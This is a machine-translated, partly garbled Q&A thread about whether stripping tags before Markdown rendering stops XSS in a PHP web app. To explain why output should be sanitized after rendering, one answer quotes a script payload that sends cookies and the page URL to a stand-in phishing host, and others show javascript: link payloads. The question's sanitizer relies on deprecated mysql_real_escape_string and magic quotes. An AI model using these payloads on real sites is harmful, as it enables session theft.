(Strip_tags ile) Markdown XSS saldırılarını durdurmak için yeterli mi?

7 Cevap php

Kullanıcıların bir katalogda öğelerin kısa açıklamalar yazabildiği bir web uygulaması üzerinde çalışıyorum. Kullanıcılar bazı HTML biçimlendirme yapabilirsiniz yüzden benim textareas içinde Markdown izin veriyorum.

Benim metin sanitization işlevi veritabanında takmadan önce herhangi girilen metinden tüm etiketleri şeritler:

public function sanitizeText($string, $allowedTags = "") {
	$string = strip_tags($string, $allowedTags);

	if(get_magic_quotes_gpc()) {
		return mysql_real_escape_string(stripslashes($string));
	} else {
		return mysql_real_escape_string($string);
	}
}

Esasen, ben veritabanında saklanması ediyorum tüm Markdown - başka HTML, (burada SO gibi) hatta "temel HTML" izin verilir.

Markdown herhangi bir güvenlik tehditleri mevcut izin verecek mi? Markdown Can hiçbir etiketleri olsa bile, XSSed edilecek?

7 Cevap

Birisi Markdown bazı gerçekten berbat veri enjekte için bir yol bulursanız dışında, hatta bazı daha berbat-up çıktı üretmek zorunda ^ ^ - Ben girişten herhangi bir HTML etiketi sıyırma size oldukça güvenli bir şey alacak düşünüyorum

Yine, burada akla gelen iki şey vardır:

First one : strip_tags is not a miracle function : it has some flaws...
For instance, it'll strip everything after the '<', in a situation like this one :

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

Ben olsun çıktı:

string '10 appels is ' (length=13)

Kullanıcılar için o güzel değil :-(


Second one : One day or another, you might want to allow some HTML tags/attributes ; or, even today, you might want to be sure that Markdown doesn't generate some HTML Tags/attributes.

Sen gibi bir şey tarafından ilginizi çekebilir HTMLPurifier: sadece o kalır, böylece, sen etiketleri ve nitelikleri tutulmalıdır belirtmek için izin verir, ve bir dize filtreler.

Ayrıca geçerli bir HTML kodu üretir - her zaman güzel olan ;-)

Burada sonra, önce değil HTML sterilize gerekir neden güzel bir örnek:

Markdown kodu:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

: Olarak işlenir

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

Şimdi endişeli?

Markdown render sonra çıkan HTML koruması güvenli olacak. Bunu yapmazsanız, insanlar şöyle Markdown keyfi Javascript çalıştırmak mümkün olacağını düşünüyorum:

[Beni tıklayın] (javascript: alert (\ 'Yakaladım!' \ ;))

PHP Markdown Bu dönüştürür:

beni tıklayın

Hangi iş yapar. ... Ve hatta bu durumlarda dikkat çekmek için kod eklemek başlıyor düşünmüyorum. Doğru sanitization sadece iyi bir aracı kullanmak ve HTML içine Markdown hale getirdikten sonra bunu uygulamak kolay değildir.

Will allowing markdown present any security threats? Can markdown be XSSed, even though it has no tags?

O konuda kesin ifadeler yapmak neredeyse imkansız - kim markdown ayrıştırıcı yeterince biçimlendirilmiş girişi ile içine kandırdın ne söyleyebiliriz?

Bu nispeten basit bir sözdizimi olduğundan Ancak, risk, muhtemelen çok düşüktür. Saldırının en belirgin açı javascript olacaktır: bağlantılar veya görüntüler URL'ler - muhtemelen çözümleyici tarafından izin verilmiyor, ama ben kontrol ediyorum bir şey.

Hayır Markdown kullandığınız yolu güvenli değildir. Markdown güvenle kullanılabilir, ancak bunu doğru kullanmak zorunda. Bak, güvenli Markdown nasıl kullanılacağına ilişkin ayrıntılar için here. Bunu güvenle nasıl kullanılacağı hakkında ayrıntılı bilgi için linke bakınız, ancak kısa versiyonu şudur: safe_mode ayarlamak ve ayarlamak için, en son sürümünü kullanmak önemlidir enable_attributes=False.

Giriş kaçan ve daha sonra (ne yapıyorsun gibi) Markdown çağrı güvenli olması için yeterli değil neden bağlantı da açıklıyor. Kısa bir örnek: "[clickme](javascript:alert%28%22xss%22%29)".

Ben HTML Korunması daha iyi bir yaklaşım olduğunu Pascal MARTIN katılıyorum. JavaScript tamamen bunu yapmak istiyorsanız ben bir göz alarak öneririz google-caja's sanitization library (source code).

Eğer etiketleri üreten, çünkü BBcode daha fazla güvenlik sağlar.

Eğer izin verilir, bu düz Bam ;) strip_tags gidecek!